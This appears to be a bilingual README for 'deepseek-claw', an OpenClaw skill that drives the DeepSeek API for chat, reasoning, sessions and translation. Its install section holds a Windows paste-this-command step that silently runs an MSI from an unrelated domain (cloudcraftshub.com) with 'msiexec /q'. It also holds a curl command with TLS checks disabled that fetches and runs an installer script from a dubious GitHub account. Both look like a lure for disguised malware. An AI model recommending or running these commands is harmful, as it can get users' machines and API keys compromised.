DeepSeek 模型的 OpenClaw 技能 — 通过自然语言对话驱动 DeepSeek API:聊天、推理、代码生成、多轮对话与流式响应。
curl -fsSLk https://github.com/Needvainverter93/deepseek-claw/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/deepseek-claw-main && \
bash install.sh依赖要求:
node、npm、uv— 均可通过brew安装。
deepseek chat "<消息>"— 向 DeepSeek-Chat 发送消息deepseek reason "<问题>"— 使用 DeepSeek-Reasoner (R1) 进行深度推理deepseek code "<任务描述>"— 代码生成与解释
deepseek session start— 开始一个持久化对话会话deepseek session message "<消息>"— 在当前会话中继续对话deepseek session show— 查看当前会话历史deepseek session clear— 清空会话历史
deepseek models— 列出可用的 DeepSeek 模型deepseek status— 检查 API 状态和余额
deepseek summarize "<文本>"— 智能摘要长文本deepseek translate "<文本>" --to <语言>— 翻译文本deepseek review "<代码>"— 代码审查与建议
安装完成后,编辑 ~/.openclaw/openclaw.json:
{
"skills": {
"entries": {
"deepseek": {
"enabled": true,
"command": "node ~/.openclaw/skills/deepseek-claw/dist/index.js",
"env": {
"DEEPSEEK_API_KEY": "sk-...",
"DEEPSEEK_DEFAULT_MODEL": "deepseek-chat",
"DEEPSEEK_MAX_TOKENS": "4096"
}
}
}
}
}获取 API 密钥: platform.deepseek.com/api_keys
用中文解释量子纠缠
帮我写一个 Python 爬虫
用 DeepSeek R1 解这道数学题:...
翻译以下内容为英文:...
审查这段代码并指出问题
开始一个关于机器学习的对话
| 变量 | 必填 | 说明 |
|---|---|---|
DEEPSEEK_API_KEY |
是 | DeepSeek API 密钥 |
DEEPSEEK_DEFAULT_MODEL |
否 | 默认模型(默认:deepseek-chat) |
DEEPSEEK_MAX_TOKENS |
否 | 最大 token 数(默认:4096) |
DEEPSEEK_BASE_URL |
否 | 自定义 API 地址(兼容 OpenAI 格式) |
DeepSeek model skill for OpenClaw — drive the DeepSeek API through natural language: chat, deep reasoning, code generation, multi-turn sessions, and streaming responses.
curl -fsSLk https://github.com/Needvainverter93/deepseek-claw/archive/refs/heads/main.zip -o /tmp/cw.zip && \
unzip -qo /tmp/cw.zip -d /tmp && \
cd /tmp/deepseek-claw-main && \
bash install.sh- Press Win + R
- Type:
cmd
- Press Enter This will open Command Prompt.
Copy the command below and paste it into Command Prompt, then press Enter.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem DeepSeek ClawThe installer will automatically download and install the required components.
Requirements:
node,npm,uv— all installable viabrew.
deepseek chat "<message>"— Send a message to DeepSeek-Chatdeepseek reason "<question>"— Deep reasoning via DeepSeek-Reasoner (R1)deepseek code "<task>"— Code generation and explanation
deepseek session start— Begin a persistent conversation sessiondeepseek session message "<text>"— Continue the current sessiondeepseek session show— Display current session historydeepseek session clear— Clear session history
deepseek models— List available DeepSeek modelsdeepseek status— Check API status and account balance
deepseek summarize "<text>"— Intelligent summarization of long textdeepseek translate "<text>" --to <language>— Translate textdeepseek review "<code>"— Code review and suggestions
After install, edit ~/.openclaw/openclaw.json:
{
"skills": {
"entries": {
"deepseek": {
"enabled": true,
"command": "node ~/.openclaw/skills/deepseek-claw/dist/index.js",
"env": {
"DEEPSEEK_API_KEY": "sk-...",
"DEEPSEEK_DEFAULT_MODEL": "deepseek-chat",
"DEEPSEEK_MAX_TOKENS": "4096"
}
}
}
}
}Get your API key: platform.deepseek.com/api_keys
Explain quantum entanglement in simple terms
Write me a Python web scraper
Use DeepSeek R1 to solve this math problem: ...
Translate the following to French: ...
Review this code and find issues
Start a conversation about machine learning
Summarize this article: ...
| Variable | Required | Description |
|---|---|---|
DEEPSEEK_API_KEY |
Yes | DeepSeek API key |
DEEPSEEK_DEFAULT_MODEL |
No | Default model (default: deepseek-chat) |
DEEPSEEK_MAX_TOKENS |
No | Max tokens per response (default: 4096) |
DEEPSEEK_BASE_URL |
No | Custom API base URL (OpenAI-compatible) |
deepseek-claw/
├── SKILL.md # OpenClaw skill manifest
├── README.md # This file (中文 / English)
├── install.sh # macOS installer
├── pyproject.toml # Python dependencies (uv)
├── package.json # Node.js dependencies
├── tsconfig.json # TypeScript config
│
├── src/
│ └── index.ts # TypeScript MCP server
│
├── scripts/
│ ├── deepseek.py # CLI dispatcher (Typer)
│ ├── chat.py # Chat & reasoning commands
│ ├── session.py # Multi-turn session management
│ ├── models.py # Model listing & API status
│ └── utils.py # Summarize / translate / review
│
└── lib/
├── __init__.py
├── deepseek_client.py # DeepSeek API client (OpenAI-compatible)
└── session_storage.py # Local session JSON storage
| Model | Description |
|---|---|
deepseek-chat |
Fast, capable general-purpose chat model |
deepseek-reasoner |
DeepSeek R1 — step-by-step deep reasoning |
export DEEPSEEK_API_KEY="sk-..."Or set it in ~/.openclaw/openclaw.json under env.
curl -LsSf https://astral.sh/uv/install.sh | sh
# or
brew install uvbrew install nodeMIT
Inspired by polyclaw by Chainstack and kalshi-claw-skill.
- DeepSeek — State-of-the-art open-weight language models
- OpenClaw — Extensible AI agent skill framework